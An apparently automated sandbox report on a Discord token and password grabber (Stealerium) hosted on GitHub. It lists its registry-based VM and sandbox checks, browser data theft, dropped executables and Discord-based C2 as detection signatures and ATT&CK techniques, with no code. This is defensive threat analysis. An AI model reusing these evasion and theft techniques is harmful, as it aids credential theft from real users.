Malware Analysis Report

2024-08-06 12:41

Sample ID 240518-s6dlpaaf9z
Target https://github.com/X-Ii7x/Discord-Token-And-Password-Grabber
Tags
stealerium evasion execution pyinstaller spyware stealer upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file https://github.com/X-Ii7x/Discord-Token-And-Password-Grabber was found to be: Known bad.

Malicious Activity Summary

stealerium evasion execution pyinstaller spyware stealer upx

Stealerium

Beds Protector Packer

Looks for VirtualBox Guest Additions in registry

Command and Scripting Interpreter: PowerShell

Looks for VMWare Tools registry key

Downloads MZ/PE file

Checks BIOS information in registry

UPX packed file

Checks computer location settings

Executes dropped EXE

Reads user/profile data of web browsers

Looks up external IP address via web service

Maps connected drives based on registry

Legitimate hosting services abused for malware hosting/C2

Program crash

Detects Pyinstaller

Enumerates physical storage devices

Suspicious use of FindShellTrayWindow

Detects videocard installed

NTFS ADS

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious use of SendNotifyMessage

Checks processor information in registry

Checks SCSI registry key(s)

Kills process with taskkill

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-18 15:43

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-18 15:43

Reported

2024-05-18 15:47

Platform

win10v2004-20240426-en

Max time kernel

192s

Max time network

194s

Command Line

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/X-Ii7x/Discord-Token-And-Password-Grabber

Signatures

Stealerium

stealer stealerium

Beds Protector Packer

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zOC3667687\Builder.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\stub.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zOC3667687\Builder.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\stub.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\stubbi.exe N/A
N/A N/A C:\Users\Admin\AppData\LocalEiRTekvsHP.exe N/A
N/A N/A C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip4.seeip.org N/A N/A
N/A ip-api.com N/A N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A ip4.seeip.org N/A N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\LocalEiRTekvsHP.exe

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4018855536-2201274732-320770143-1000\{E1B1A7A2-F0EC-4F71-A37E-2F18AED5999F} C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 83442.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Users\Admin\AppData\LocalEiRTekvsHP.exe N/A
N/A N/A C:\Users\Admin\AppData\LocalEiRTekvsHP.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\LocalEiRTekvsHP.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2688 wrote to memory of 3640 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 3640 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 2780 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 5408 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 5408 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
